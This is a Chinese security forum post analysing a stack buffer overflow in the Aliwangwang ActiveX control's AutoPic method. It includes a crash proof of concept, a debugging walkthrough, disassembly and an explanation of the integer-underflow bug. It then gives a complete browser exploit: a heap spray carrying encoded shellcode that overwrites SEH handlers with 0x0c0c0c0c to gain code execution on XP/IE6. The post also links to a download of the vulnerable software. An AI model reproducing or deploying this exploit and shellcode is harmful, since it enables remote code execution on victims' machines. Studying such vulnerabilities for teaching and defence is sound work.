loop_ 发表于 2018-1-26 11:39:36

阿里旺旺AtiveX控件栈溢出漏洞分析

本帖最后由 loop_ 于 2018-1-26 11:52 编辑

阿里旺旺AtiveX控件栈溢出漏洞分析   这篇文章是我在15pb培训期间所写,该漏洞是我在漏洞战争一书中看到的,书中对该漏洞的描述相对较少,并且作者有意将该漏洞的溢出原理及利用代码写错,所以我为此漏洞写了这篇文章来方便大家参考。以下为作者提供的poc代码,首先构造了一个超长的缓冲区,之后调用AtiveX对象的AutoPic方法,并将缓冲区传入发生溢出,程序崩溃。<html><body><object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF"id="target"></object><script>var buffer = '';while (buffer.length < 1111)buffer+="A";target.AutoPic(buffer,"defaultV");</script></body></html> 定位缓冲区所在函数我对常见的栈溢出,使用poc文件触发崩溃的情景,做一下总结,将其分成的4种情况:1. 被溢出缓冲区所在的函数中,因缓冲区溢出修改了位于缓冲区高地址的变量,导致未能执行到函数返回就触发异常,这种情况异常一定位于位于缓冲区溢出后,但可能位于缓冲区所在的函数,也可能位于将被修改的局部变量作为参数的其他函数中,这种情况我们可以通过查看栈回溯和栈所在内存,找到被破坏的栈帧的栈顶所保存的返回地址,来定位缓冲区所在的函数,如果当前栈帧就是被破环的栈帧,那么当前地址所在函数就是缓冲区所在函数。2.程序在调用被溢出缓冲区所在函数时,传递了之前函数栈帧的局部变量指针,并在溢出后使用了该指针指向的变量引发崩溃的情况,原因是缓冲区溢出的数据覆盖到参数指针引用到的局部变量,这种情况我们依然可以通过查看栈回溯和栈所在内存,找到被破坏的栈帧的栈顶所保存的返回地址,来定位缓冲区所在的函数。3. 触发内存访问异常(c0000005),例如漏洞的栈溢出没有限制,我们可以溢出大量的数据,直至到达栈所映射内存页的末尾,触发内存访问异常,这种情况触发异常的代码就是溢出点,我们可以也通过查看栈回溯和栈所在内存,找到缓冲区所在函数。4. 程序已经跳转到我们写入数据所对应的地址,此时我们只需要定位偏移位置,就可以进一步实现漏洞利用,但是如果我们要分析漏洞的话,就需要找到缓冲区所在函数,我们可以通过查看缓冲区所在函数最后一个函数调用的返回地址来定位,具体就是查看sp寄存器指向地址,向低地址方向的内存,查找4/8字节类似返回地址的数据。以上只是些常见情况的简单总结,在实际遇到的问题中更多的是具体问题具体解决。 现在来看要分析的漏洞,我所实验的环境为winxpsp3虚拟机+IE6的浏览器,以下为实验过程I.打开IE6,并使用windbg附加进程并运行,拖拽打开poc.html,程序崩溃 当前情况正好符合我们总结的第3种情况,我们可以通过栈回溯找到缓冲区所在的函数,位于ImageMan模块,通过向低地址反汇编我们找到函数的首地址为0x1001ab7f,所在模块信息:Dll Start   End SafeSEH ASLRImageMan 0x10000000 0x10054000   true         false II.因为该漏洞的溢出原理相对比较简单,所以我这里直接从缓冲区溢出函数开始分析,重新打开IE6, windbg附加进程。因为ImageMan是动态加载的,所以不能直接对该地址下断点,有两种方式解决:一. 是在dll加载后对0x1001ab7f地址下断点附加程序后,执行sex ld:ImageMan 命令并运行,会在加载ImageMan模块后断下,再对0x1001ab7地址下断点二. 是使用硬件执行断点 我在使用第一种方法时,程序还未执行到漏洞函数,便在gdiplus模块中崩溃,通过测试查找问题原因发现这并不是漏洞引发的原因(我将触发漏洞的代码注释掉,还是在gdiplus模块中崩溃),我推测是windbg执行完sex ld:ImageMan后引发的问题,暂时忽略这个问题,使用第二个方法进行调试 成功断到漏洞函数,根据IDA对该函数的分析得知,该函数有3个参数,第二个参数为我们在js中调用target.AutoPic(buffer,"defaultV");传入的buffer(“AAAAA…”),可以得出结论,AutoPic简介调用漏洞函数,并将构造的输入传入漏洞函数,触发漏洞 栈溢出原理分析根据分析,漏洞函数做了以下事情:int __stdcall vulnFun(int arg1, LPCWSTRlpBuffer, int arg3){char strPath = { 0 };char targetPath = { 0 };char *endPtr;//该函数不是字符串操作函数只负责将lpBuffer转换为ascii码保存到strPath中并保证不超过strPath缓冲区的大小,//但并不会为strPath添加'\0'结束符WideCharToMultiByte(0, 0, lpBuffer, -1,strPath, 0x104, 0, 0);//该函数查找字符串中最后一个'\'符的地址,没有找到则返回NULLendPtr = strrchr(strPath, '\\') ;// 该函数在拷贝字符串时,当拷贝足够字符串长度,或遇到'\0'字符串结尾结束拷贝strncpy(targetPath, strPath, endPtr -strPath + 1);......}srcPath的长度为0x104,而lpBuffer为我们输入的数据的长度,远超0x104,所以当执行完WideCharToMultiByte函数后, strPath末尾没有0结束符,j将全部填充为我们输入的数据的前0x104个字符 还有一个需要注意的事情就是,targetPath与srcPath的地址是连续的,targetPath在srcPath的高地址,刚开始两个数组都被初始化为全0,所以strPath可以作为一个以targetPath第一个元素为结尾的字符串,长度为0x104,所以之后执行strrch函数并没有发生什么问题,由于我们输入的数据没有包含\符号,所以函数返回0,并赋值给endPtr 之后通过(endPtr-strPath)+1来计算要拷贝的数据大小,这时endPtr为0,结果为负数,也是一个很大的正整数,0xffed2141如下图: 接下来通过strncpy,进行拷贝,拷贝长度为0xffed2141,从strPath,拷贝到targetPath。这时候就有问题了,strncpy函数当拷贝足够字符串长度,或遇到'\0'字符串结尾结束拷贝,最大长度是达不到的,'\0'也是达不到的。如图: 本来strPath可以以targetPath第一个元素为字符串结尾,现在永远也拷不到结尾了,所以触发了内存访问冲突异常。总结溢出条件:
当输入数据长度大于等于0x104, 并且不包含'\'字符就会发生溢出。 以下为IDA分析后的代码:.text:1001AB7F ; int __stdcallvulnFun(int, LPCWSTR lpBuffer, int).text:1001AB7F vulnFun         procnear               ; DATA XREF: .rdata:1003ED5Co.text:1001AB7F                                       ;.rdata:1003F1F0o.text:1001AB7F.text:1001AB7F var_31C         =dword ptr -31Ch.text:1001AB7F var_318         =dword ptr -318h.text:1001AB7F var_314         =byte ptr -314h.text:1001AB7F MultiByteStr    = byteptr -310h.text:1001AB7F endPtr          = dword ptr -20Ch.text:1001AB7F srcPath         =byte ptr -208h.text:1001AB7F targetPath      = byte ptr -104h.text:1001AB7F s               = dword ptr0.text:1001AB7F r               = dword ptr4.text:1001AB7F arg_0         = dword ptr8.text:1001AB7F lpBuffer      =dword ptr0Ch.text:1001AB7F arg_8         = dword ptr10h.text:1001AB7F.text:1001AB7F               push    ebp.text:1001AB80               mov   ebp,esp.text:1001AB82               sub   esp,31Ch.text:1001AB88               push    edi             ;------------------------.text:1001AB89               mov    , 0.text:1001AB90               mov   ecx,40h.text:1001AB95               xor   eax,eax.text:1001AB97               lea   edi,.text:1001AB9D               repstosd.text:1001AB9F               stosw.text:1001ABA1               stosb                  ; char srcPath = {0} ;.text:1001ABA1                                       ;---------------------------------.text:1001ABA2               push    0               ; lpUsedDefaultChar.text:1001ABA4               push    0               ; lpDefaultChar.text:1001ABA6               push    104h            ;cbMultiByte.text:1001ABAB               lea   eax,.text:1001ABB1               push    eax             ;lpMultiByteStr.text:1001ABB2               push    0FFFFFFFFh   ; cchWideChar.text:1001ABB4               mov   ecx,.text:1001ABB7               push    ecx             ;lpWideCharStr.text:1001ABB8               push    0               ; dwFlags.text:1001ABBA               push    0               ; CodePage.text:1001ABBC               call    ds:WideCharToMultiByte; 该函数不是串操作函数,.text:1001ABBC                                       ; 所以在转换结束后不会为目标字符串添加'\0'结束符号.text:1001ABC2               mov    , 0.text:1001ABC9               mov   ecx,40h.text:1001ABCE               xor   eax,eax.text:1001ABD0               lea   edi,.text:1001ABD6               repstosd.text:1001ABD8               stosw.text:1001ABDA               stosb.text:1001ABDB               push    '\'             ; Ch.text:1001ABDD               lea   edx,.text:1001ABE3               push    edx             ;srcPath.text:1001ABE4               call    _strrchr       ; 获取字符串中最后一个'/'的地址,如果没有找到'/'则返回NULL(0).text:1001ABE9               add   esp,8.text:1001ABEC               mov    , eax.text:1001ABF2               mov    , 0.text:1001ABF9               mov   ecx,40h.text:1001ABFE               xor   eax,eax.text:1001AC00               lea   edi,.text:1001AC06               repstosd.text:1001AC08               stosw.text:1001AC0A               stosb.text:1001AC0B               mov   eax,.text:1001AC11               lea   ecx,.text:1001AC17               sub   eax,ecx      ; 这里我们传入的路径没有'/',所以返回值为0,.text:1001AC17                                       ; 减去首地址发生整数溢出,等到一个负数,拷贝时参数为无.text:1001AC17                                       ; 符号数,所以为一个非常大的无符号数.text:1001AC19               add   eax,1          ; +1为要拷贝的字符串长度.text:1001AC1C               push    eax.text:1001AC1D               lea   edx,.text:1001AC23               push    edx.text:1001AC24               lea   eax,.text:1001AC2A               push    eax.text:1001AC2B               call    strncpy      ; 该函数在拷贝字符串时,当拷贝足够字符串长度.text:1001AC2B                                       ; 或遇到'\0'字符串结尾结束.text:1001AC30               add   esp,0Ch.text:1001AC33               lea   ecx,.text:1001AC39               push    ecx             ; Str.text:1001AC3A               mov   ecx,.text:1001AC3D               add   ecx,0BCh.text:1001AC43               call    sub_100271FE.text:1001AC48               lea   edx,.text:1001AC4E               push    edx             ; int.text:1001AC4F               lea   eax,.text:1001AC55               push    eax             ;FullPath.text:1001AC56               mov   ecx,.text:1001AC59               call    sub_10018BA1.text:1001AC5E               lea   ecx,.text:1001AC64               push    ecx             ;lpMultiByteStr.text:1001AC65               lea   ecx,.text:1001AC6B               call    sub_1001BFE0.text:1001AC70               cmp    , 0.text:1001AC74               jnz   shortloc_1001AC93.text:1001AC76               mov    , 0.text:1001AC80               lea   ecx,.text:1001AC86               call    sub_1001C040.text:1001AC8B               mov   eax,.text:1001AC91               jmp   shortloc_1001ACC5.text:1001AC93 ;---------------------------------------------------------------------------.text:1001AC93.text:1001AC93 loc_1001AC93:                           ; CODE XREF: vulnFun+F5j.text:1001AC93               lea   ecx,.text:1001AC99               call    sub_1001C060.text:1001AC9E               push    eax             ; psz.text:1001AC9F               call    ds:SysAllocString.text:1001ACA5               mov   edx,.text:1001ACA8               mov    , eax.text:1001ACAA               mov    , 0.text:1001ACB4               lea   ecx,.text:1001ACBA               call    sub_1001C040.text:1001ACBF               mov   eax,.text:1001ACC5.text:1001ACC5 loc_1001ACC5:                           ; CODE XREF: vulnFun+112j.text:1001ACC5               pop   edi.text:1001ACC6               mov   esp,ebp.text:1001ACC8               pop   ebp.text:1001ACC9               retn    0Ch.text:1001ACC9 vulnFun         endp 利用思路利用堆喷射,填充0x0c0c0c0c地址,再传入'\u000c' (转换为ascii后为'\x0c')组成的长度>=0x104的unicode字符串, 溢出后会将缓冲区往高地址方向一直到不可访问的内存页之前全部填充为'\x0c',包括SHE节点的异常处理函数的地址都被覆盖为0x0c0c0c0c,此时触发内存访问异常,IE6并没有开启数据执行保护,但ImageMan模块开启了safeSEH,但0x0c0c0c0c为堆上的地址,所以我们刚好绕过了SafeSEH保护,程序触发异常后跳转到0x0c0c0c0c地址执行代码。 利用代码:<html><head><title>wangwang ActiveX漏洞</title></head><body><objectclassid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF"id="target"></object></body><script>//Heap Spraying//构建4kb内存页Var shellCode = unescape("\uFFE8\uFFFF\uC3FF\uFC58\u708D\u8B17\u99FE\u12B2\uC933\uB966\u00FC\u32AC\uAAC2\uFAE2\uFE91\u916D\u6DFE\uFE91\u916D\uEEF6\u6E9F\u5236\u1EF9\u2095\uD2CA\u1878\u0C2A\u9B71\u5DC3\uEDFA\uEDED\uD1ED\u9148\u03F8\uD221\u9976\u2252\u5299\u991E\u0E52\uFA91\u9913\u1352\u4A99\u991A\u2E51\uD111\u5299\u116A\u99D1\u0E5A\uD911\u9943\u365A\uD911\u9943\u3252\uD111\uDB21\u4042\u998B\u9A26\uE111\u8B80\uD340\u0BF0\u3ED3\u1536\u061B\u4836\uC211\u96BE\u67D2\u4AFF\u0229\u4A80\u1166\uF953\u4ACB\u9974\u5A1E\uA51D\u4ADB\u1699\u119A\uB9D1\uD091\u9316\u7828\u2A18\u660C\u9318\u7128\uC39B\u665D\uF930\u4050\u748B\u21A8\u4020\u67AA\u7761\u4260\uD699\u408B\u4240\u45ED\u4BEE\u484B\uCA99\u6AFB\uEDED\u40ED\u408B\u77AA\u217E\u4220\u79AA\u6077\u427C\uD699\u4040\uED42\uEA45\u4B4B\u484B\uCA99\u44FB\uEDED\u8BED\uAA40\u7D7E\u627D\u9942\u40D6\u4242\uED40\uEA45\u45ED\u12EE");var fillData =unescape("\u0c0c\u0c0c") ;while(fillData.length < 0x800){fillData += fillData ;}fillData = fillData.substr(0, 0x800 -shellCode.length) ;var heapBlock = fillData + shellCode ;//以0x40000*2 = 512kb为一个堆块while(heapBlock.length < 0x40000 ){heapBlock += heapBlock ;}heapBlock = heapBlock.substr(0x2, 0x40000- 0x1) ; //减去堆块中除数据以外的字符串的描述信息(在数据前,影响数据偏移的4字节字符串长度信息,数据后2字节的字符串结尾标志),以保证一个堆块为512kb//申请200Mbvar arr = new Array() ;for(var i = 0 ; i < 400; i++) {arr =heapBlock.substr(0, heapBlock.length); //512kb}//栈溢出var buff = "\u000c" ;while(buff.length < 0x104){buff += buff ;}buff = buff.substr(0, 0x104) ;var target =document.getElementById("target") ;target.AutoPic(buff, "defaultV");</script></html>漏洞软件: 链接:http://pan.baidu.com/s/1o8v8KH0 密码:0fo1

0zero0 发表于 2018-4-23 22:36:31

厉害了我的哥
页: [1]
查看完整版本: 阿里旺旺AtiveX控件栈溢出漏洞分析